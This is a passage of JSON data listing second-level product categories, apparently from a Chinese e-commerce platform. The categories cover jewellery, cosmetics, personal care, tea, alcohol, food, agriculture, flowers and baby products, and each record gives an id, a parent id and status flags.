t_child":true},{"id":20426,"name":"趣味收藏","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33305,"name":"石雕","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20449,"name":"收藏品保养/鉴定工具","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20403,"name":"书法/绘画","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20421,"name":"文房用品","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32658,"name":"文玩木串","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33712,"name":"香道器具","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20444,"name":"西洋收藏品","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20404,"name":"烟具/酒具/渔具","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23812,"name":"主题收藏","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33697,"name":"定制木作","parent_cid":33692,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33699,"name":"定制首饰彩宝","parent_cid":33692,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33698,"name":"定制书画篆刻","parent_cid":33692,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33700,"name":"定制文玩","parent_cid":33692,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33696,"name":"定制玉石","parent_cid":33692,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20402,"name":"铂金/PT(素款)","parent_cid":34020,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20442,"name":"彩色宝石/贵重宝石","parent_cid":34020,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20384,"name":"k金(素款)","parent_cid":34020,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20441,"name":"人工宝石/处理宝石","parent_cid":34020,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33810,"name":"投资贵金属","parent_cid":34020,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20400,"name":"银饰","parent_cid":34020,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20398,"name":"珍珠","parent_cid":34020,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20431,"name":"钻石首饰","parent_cid":34020,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20432,"name":"足金首饰(素款)","parent_cid":34020,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20568,"name":"彩妆套装","parent_cid":20029,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20567,"name":"唇部彩妆","parent_cid":20029,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20666,"name":"美体工具","parent_cid":20029,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20572,"name":"美妆工具","parent_cid":20029,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20574,"name":"面部彩妆","parent_cid":20029,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20673,"name":"面部美容工具","parent_cid":20029,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20570,"name":"男士彩妆","parent_cid":20029,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34071,"name":"男士香水/香膏","parent_cid":20029,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34070,"name":"体验装","parent_cid":20029,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20562,"name":"香水/香膏","parent_cid":20029,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20571,"name":"眼部彩妆","parent_cid":20029,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20565,"name":"指甲油/美甲产品/美甲工具","parent_cid":20029,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20566,"name":"其他彩妆","parent_cid":20029,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32668,"name":"美体仪器","parent_cid":20038,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32667,"name":"面部美容仪器","parent_cid":20038,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21324,"name":"唇部护理","parent_cid":20085,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21006,"name":"防晒","parent_cid":20085,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33608,"name":"旅行装/体验装","parent_cid":20085,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21327,"name":"美容服务","parent_cid":20085,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21328,"name":"面部护肤","parent_cid":20085,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21325,"name":"男士护肤","parent_cid":20085,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20916,"name":"T区护理","parent_cid":20085,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21326,"name":"眼部护理","parent_cid":20085,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33681,"name":"彩色隐形眼镜","parent_cid":32617,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32663,"name":"医用敷料","parent_cid":32617,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21190,"name":"个护服务","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21191,"name":"个护用具","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21343,"name":"假发及配件","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21192,"name":"口腔护理","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21444,"name":"男士美发护发/假发","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21383,"name":"男士身体护理","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21335,"name":"染发烫发/头发造型","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32630,"name":"润唇膏","parent_cid":20056,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21197,"name":"身体护理","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21384,"name":"身体精油芳疗","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21198,"name":"身体清洁","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21193,"name":"手部护理","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21181,"name":"卫生巾/私处护理","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21194,"name":"洗发护发","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21195,"name":"胸部护理","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21333,"name":"隐形眼镜/护理液","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21196,"name":"足部护理","parent_cid":20056,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21765,"name":"家私/皮具护理品","parent_cid":20115,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21778,"name":"家庭环境清洁剂","parent_cid":20115,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21768,"name":"口腔护理","parent_cid":20115,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21764,"name":"面膜/眼膜","parent_cid":20115,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21766,"name":"清洁泡泡/慕斯","parent_cid":20115,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21772,"name":"驱虫用品","parent_cid":20115,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21769,"name":"身体护理","parent_cid":20115,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21775,"name":"室内除臭/芳香用品","parent_cid":20115,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21774,"name":"头发清洁/护理/造型","parent_cid":20115,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33702,"name":"消毒用品","parent_cid":20115,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21776,"name":"衣物清洁剂/护理剂","parent_cid":20115,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21763,"name":"纸品/湿巾","parent_cid":20115,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21777,"name":"中老年护理用品","parent_cid":20115,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21762,"name":"其它","parent_cid":20115,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32983,"name":"避孕套","parent_cid":32606,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32607,"name":"排卵卡笔/排卵检测仪","parent_cid":32606,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32608,"name":"验孕棒/验孕仪器","parent_cid":32606,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32964,"name":"护理液","parent_cid":32621,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32965,"name":"眼部保健","parent_cid":32621,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32967,"name":"隐形眼镜","parent_cid":32621,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20160,"name":"白茶","parent_cid":20004,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20165,"name":"茶粉/茶膏/茶精","parent_cid":20004,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20168,"name":"茶提货券","parent_cid":20004,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20166,"name":"代用/花草/水果/再加工茶","parent_cid":20004,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32206,"name":"多品种茶叶礼盒","parent_cid":20004,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32659,"name":"高端茗茶","parent_cid":20004,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33025,"name":"高端品牌","parent_cid":20004,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20164,"name":"黑茶","parent_cid":20004,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20161,"name":"红茶","parent_cid":20004,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20163,"name":"黄茶","parent_cid":20004,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20162,"name":"绿茶","parent_cid":20004,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20159,"name":"普洱","parent_cid":20004,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20167,"name":"乌龙茶","parent_cid":20004,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20260,"name":"国产白酒","parent_cid":20012,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20214,"name":"黄酒/米酒","parent_cid":20012,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20213,"name":"露酒/果酒","parent_cid":20012,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20208,"name":"啤酒","parent_cid":20012,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20239,"name":"葡萄酒","parent_cid":20012,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20209,"name":"洋酒","parent_cid":20012,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32256,"name":"冰淇淋","parent_cid":20017,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20349,"name":"成人奶粉","parent_cid":20017,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20319,"name":"奶酪/奶制品","parent_cid":20017,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20318,"name":"藕粉/麦片/冲饮品","parent_cid":20017,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20328,"name":"乳制品","parent_cid":20017,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20350,"name":"食补粉","parent_cid":20017,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20356,"name":"速溶咖啡/咖啡豆/粉","parent_cid":20017,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20363,"name":"天然粉粉食品","parent_cid":20017,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20364,"name":"驼奶及驼奶粉","parent_cid":20017,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20309,"name":"饮料","parent_cid":20017,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20313,"name":"饼干/膨化","parent_cid":20018,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20351,"name":"地方特产","parent_cid":20018,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20355,"name":"豆干制品/蔬菜干","parent_cid":20018,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20312,"name":"糕点/点心","parent_cid":20018,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20332,"name":"即食水产/海味零食","parent_cid":20018,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20314,"name":"蜜饯/果干/水果制品","parent_cid":20018,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20329,"name":"巧克力","parent_cid":20018,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20333,"name":"肉干肉脯//熏腊卤味/肉类熟食","parent_cid":20018,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20331,"name":"山核桃/坚果/炒货","parent_cid":20018,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20354,"name":"糖果零食/果冻/布丁","parent_cid":20018,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20310,"name":"其它","parent_cid":20018,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21329,"name":"储值卡券","parent_cid":20086,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21065,"name":"提货/兑换卡券","parent_cid":20086,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21472,"name":"优惠或服务类卡券","parent_cid":20086,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21665,"name":"调味品/果酱/沙拉","parent_cid":20104,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21675,"name":"方便速食/冷藏食品","parent_cid":20104,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21673,"name":"烘焙原料/辅料/食品添加剂","parent_cid":20104,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21664,"name":"米/面粉/杂粮","parent_cid":20104,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21674,"name":"南北干货/肉类干货","parent_cid":20104,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32987,"name":"轻食简餐","parent_cid":20104,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21666,"name":"食用油/调味油","parent_cid":20104,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21672,"name":"其他食品","parent_cid":20104,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31998,"name":"保健食品","parent_cid":20109,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21719,"name":"海外膳食营养补充食品","parent_cid":20109,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21718,"name":"普通膳食营养食品","parent_cid":20109,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22173,"name":"阿胶膏方","parent_cid":20120,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22185,"name":"参类滋补品","parent_cid":20120,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22172,"name":"参茸贵细","parent_cid":20120,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22171,"name":"冬虫夏草","parent_cid":20120,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22195,"name":"蜂蜜及其制品","parent_cid":20120,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22192,"name":"枸杞及其制品","parent_cid":20120,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22149,"name":"灵芝","parent_cid":20120,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22150,"name":"鹿茸","parent_cid":20120,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22148,"name":"三七","parent_cid":20120,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22154,"name":"石斛/枫斗","parent_cid":20120,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22196,"name":"食疗滋补营养","parent_cid":20120,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22160,"name":"养生茶","parent_cid":20120,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22186,"name":"燕窝滋补品","parent_cid":20120,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22194,"name":"药食同源食品","parent_cid":20120,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22193,"name":"滋补养生原料","parent_cid":20120,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32688,"name":"半成品菜/方便菜/快手菜/速食菜","parent_cid":20008,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20173,"name":"蛋/蛋制品","parent_cid":20008,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20250,"name":"海鲜水产","parent_cid":20008,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":31987,"name":"冷藏/冷冻食品","parent_cid":20008,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20251,"name":"生鲜卡券","parent_cid":20008,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20216,"name":"蔬菜/蔬菜制品","parent_cid":20008,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20188,"name":"水果","parent_cid":20008,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20268,"name":"猪牛羊禽肉及制品","parent_cid":20008,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20365,"name":"农产品采后加工/包装/贮藏","parent_cid":20016,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20316,"name":"农膜/篷布/遮网/大棚","parent_cid":20016,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20346,"name":"农业工具","parent_cid":20016,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20347,"name":"农业机械","parent_cid":20016,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33715,"name":"农业机械","parent_cid":20016,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20324,"name":"喷灌/滴灌设备","parent_cid":20016,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20362,"name":"温室大棚配件","parent_cid":20016,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20655,"name":"畜牧/养殖设备","parent_cid":20037,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20668,"name":"动物保健品/水质调节剂","parent_cid":20037,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20672,"name":"蜂场养殖物资","parent_cid":20037,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20644,"name":"兽用非处方药","parent_cid":20037,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20671,"name":"水产养殖物资","parent_cid":20037,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20645,"name":"饲料","parent_cid":20037,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20948,"name":"肥料","parent_cid":20063,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33714,"name":"肥料","parent_cid":20063,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32191,"name":"农药","parent_cid":20063,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21387,"name":"农业生物用品","parent_cid":20063,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21348,"name":"微生物菌剂","parent_cid":20063,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21388,"name":"园林养护物资","parent_cid":20063,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21012,"name":"种子/种苗","parent_cid":20063,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21047,"name":"助剂/添加剂","parent_cid":20063,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21696,"name":"插花培训","parent_cid":20107,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21709,"name":"创意迷你植物","parent_cid":20107,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32201,"name":"仿真花/绿植/蔬果成品","parent_cid":20107,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33016,"name":"花店零批","parent_cid":20107,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32202,"name":"花卉/绿植盆栽","parent_cid":20107,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32203,"name":"花卉/蔬果/草坪种子","parent_cid":20107,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21040,"name":"花瓶/花器/仿真花/仿真饰品","parent_cid":20107,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32197,"name":"花瓶/花器/花盆/花架\t","parent_cid":20107,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32204,"name":"花艺包装/材料","parent_cid":20107,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32205,"name":"花园植物/行道树/果树","parent_cid":20107,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32200,"name":"婚礼鲜花布置","parent_cid":20107,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21687,"name":"卡通花","parent_cid":20107,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32153,"name":"上门送花","parent_cid":20107,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21694,"name":"商务用花","parent_cid":20107,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32199,"name":"生活鲜花","parent_cid":20107,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21688,"name":"鲜果篮(预定与速递)","parent_cid":20107,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21698,"name":"鲜花速递(同城)","parent_cid":20107,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32198,"name":"永生花/干花","parent_cid":20107,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32176,"name":"园艺用品","parent_cid":20107,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20554,"name":"宝宝辅食","parent_cid":20028,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20555,"name":"宝宝零食","parent_cid":20028,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20553,"name":"儿童奶粉","parent_cid":20028,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20560,"name":"婴幼儿调味品","parent_cid":20028,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33716,"name":"婴幼儿牛奶粉(1-2段)","parent_cid":20028,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20557,"name":"婴幼儿牛奶粉(3段)","parent_cid":20028,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33717,"name":"婴幼儿羊奶粉(1-2段)","parent_cid":20028,"level":2,"enable":1,"is_leaf